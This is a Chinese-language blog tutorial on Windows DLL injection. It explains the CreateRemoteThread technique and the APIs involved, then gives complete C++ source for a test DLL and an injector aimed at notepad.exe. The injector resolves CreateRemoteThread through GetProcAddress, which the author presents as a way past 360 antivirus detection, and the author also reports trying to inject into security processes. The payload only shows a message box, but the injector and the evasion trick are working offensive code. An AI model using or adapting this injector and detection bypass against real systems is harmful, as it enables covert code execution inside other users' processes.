Windows下DLL进程注入

446 阅读5分钟

使用这种方法没办法注入explorer.exe,另一种方法见https://download.csdn.net/download/weixin_42172261/87646806

Dll注入技术

当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。

Dll注入原理

DLL注入就是强制一个正在运行的进程将攻击者需要注入的dll文件加载到自身进程空间内,进而实现其后续的恶意攻击操作。

CreateRemoteThread方法,需要将注入的参数(也就是Dll文件的路径)写入目标进程空间,因此通过WriteProcessMemory来申请内存空间写入DLL路径,接着调用CreateRemoteThread函数来创建一个新的线程,在该线程中调用LoadLibrary来导入我们需要注入的DLL文件。

这便成功实现了一次DLL注入攻击,接着便可以展开后续恶意操作了。

Dll注入实现步骤

  • 附加目标进程
  • 在目标进程分配内存空间
  • 将Dll文件路劲复制到目标进程的内存空间
  • 创建一个远程线程,让目标进程调用句柄
  • 释放空间

dll进程注入与普通shellcode执行的流程的区别在于普通加载shellcode是在当前进程virtualalloc之后拷贝到内存然后createThread执行;而dll注入是在这些步骤之前找一个目标进程id去注入。

使用到的WindowsAPI

CreateToolhelp32Snapshot

用于返回指定进程的内存映像,包括堆栈、加载模块以及进程线程等。本程序中用于获取内存所有系统进程。

函数原型:

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

[in] dwFlags

该参数指明要包含在快照中的系统部分。

[in] th32ProcessID

指明操作进程的id,0代表当前进程。

官方文档

Process32First

检索有关系统快照中遇到的第一个进程的信息。获取第一个进程开始遍历进程列表。

函数原型:

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

[in] hSnapshot

从对 CreateToolhelp32Snapshot 函数的上一次调用返回的快照的句柄。

[in,out] lppe

指向 PROCESSENTRY32 结构的指针。 进程信息最终会存储在该参数中,例如可执行文件的名称、进程标识符和父进程的进程标识符。

LoadLibraryA

将指定的模块加载到调用进程的地址空间中。 指定的模块可能导致加载其他模块。

函数原型:

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

[in] lpLibFileName

模块的名称。 可以是 (.dll文件) 的库模块,也可以是 (.exe文件) 的可执行模块。

CreateRemoteThread

创建在另一个进程的虚拟地址中运行的线程。关键函数,远程创建一个执行导入dll的进程。

函数原型:

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

[in] hProcess

要在其中创建线程的进程句柄。

[in] lpThreadAttributes

指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。

[in] dwStackSize

堆栈的初始大小。

[in] lpStartAddress

远程进程在线程中的其实地址。

[in] lpParameter

指向要传递给线程函数的变量的指针。

[in] dwCreationFlags

控制线程创建的标志

[out] lpThreadId

指向接受线程标识符的变量的指针

官方文档

Payload

DLL

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
​
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // 进程创建时调用
        MessageBoxA(NULL, "DLLInject success!!", "DLLInject success!!", MB_OK | MB_TOPMOST);
        break;
    case DLL_THREAD_ATTACH:
        // 线程创建时调用
    case DLL_THREAD_DETACH:
        // 线程结束时调用
    case DLL_PROCESS_DETACH:
        // 进程结束时调用
        break;
    }
    return TRUE;
}

在DLL被加载时,会传入url_reason_for_call,指明了被调用的原因:

  • DLL_PROCESS_ATTACH:进程创建的时候调用
  • DLL_PROCESS_DETACH:进程结束的时候调用
  • DLL_THREAD_ATTACH:线程创建的时候调用
  • DLL_THREAD_DETACH:线程结束的时候调用

DllInject.cpp

#include "stdlib.h"
#include "tchar.h"
#include "Windows.h"
#include "direct.h"
#include "TlHelp32.h"
#include "atlstr.h"
#include <iostream>
using namespace std;
​
#define PROCESS_NAME "notepad.exe"    //要注入的进程名
​
​
//注入函数的实现
bool Inject(DWORD dwPid, WCHAR* szPath) //目标进程PID和DLL路径
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);        //获取进程权限
    if (!hProcess) {
        std::cout << "获取进程权限失败" << std::endl;
        return FALSE;
    }
​
    //执行成功分配内存单元的首地址,不成功就为NULL
    LPVOID pRemoteAddress = VirtualAllocEx(hProcess, NULL, 1, MEM_COMMIT, PAGE_READWRITE);
    if (!pRemoteAddress) {
        std::cout << "开辟内存失败" << std::endl;
        return FALSE;
    }
​
    DWORD dwWriteSize = 0;
​
    WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, 0);        //把dll写入内存// 360查杀点,无法注入到其他进程
    // HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, pRemoteAddress, NULL, NULL); //创建一个新的远程线程执行
    // 通过下面的方法可以绕过360查杀
    HMODULE hModule = LoadLibraryW(L"Kernel32.dll");//获取kernel32.dll的地址,HMODULE存放的是模块地址在内存。
    if (!hModule) {
        std::cout << "获取kernel32.dll地址失败" << endl;
        return FALSE;
    }
    typedef HANDLE(*createRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
    createRemoteThread c1 = (createRemoteThread)GetProcAddress(hModule, "CreateRemoteThread");
​
    HANDLE hThread = c1(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, pRemoteAddress, NULL, NULL);    //创建一个新的远程线程执行
    if (!hThread) {
        std::cout << "创建线程失败" << std::endl;
        return FALSE;
    }
​
    std::cout << "等待线程返回" << endl;
    WaitForSingleObject(hThread, -1);   //当句柄所指定的线程有信号的时候,才会返回
​
    VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_COMMIT); //  释放目标空间return 0;
}
​
//根据进程名获取进程Pid
DWORD GetPID(CString pProName)
{
    PROCESSENTRY32 pe32 = { 0 };
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bRet = FALSE;
    DWORD dwPID = 0;
​
    if (hSnap == INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
        goto exit;
    }
​
    pe32.dwSize = sizeof(pe32);
    bRet = Process32First(hSnap, &pe32);
    while (bRet)
    {
        if (lstrcmp(pe32.szExeFile, pProName) == 0)
        {
            dwPID = pe32.th32ProcessID;
            break;
        }
        bRet = Process32Next(hSnap, &pe32);
    }
​
    CloseHandle(hSnap);
exit:
    return dwPID;
}
​
int _tmain(int argc, _TCHAR* argv[])
{
    CHAR szDLLPath[MAX_PATH] = { 0 };
    // 需要注入的dll
    wchar_t szPath[] = L"E:\vs-workpath\Dll1\x64\Release\Dll1.dll";
​
    DWORD dwPid = GetPID(PROCESS_NAME);
    cout << dwPid << endl;
​
    if (dwPid == NULL)
    {
        MessageBox(NULL, L"获取目标进程pid失败!", L"提示", MB_OK);
    }
​
    Inject(dwPid, szPath);  //注入dll函数
exit:
    system("pause");
    return 0;
}

经测试该方法可以注入notepad.exe等常见进程,但是注入HipsDaemon.exe360Safe.exe时,报开辟内存错误,应该是安全进程做了一未知限制。

参考链接

DLL注入学习过程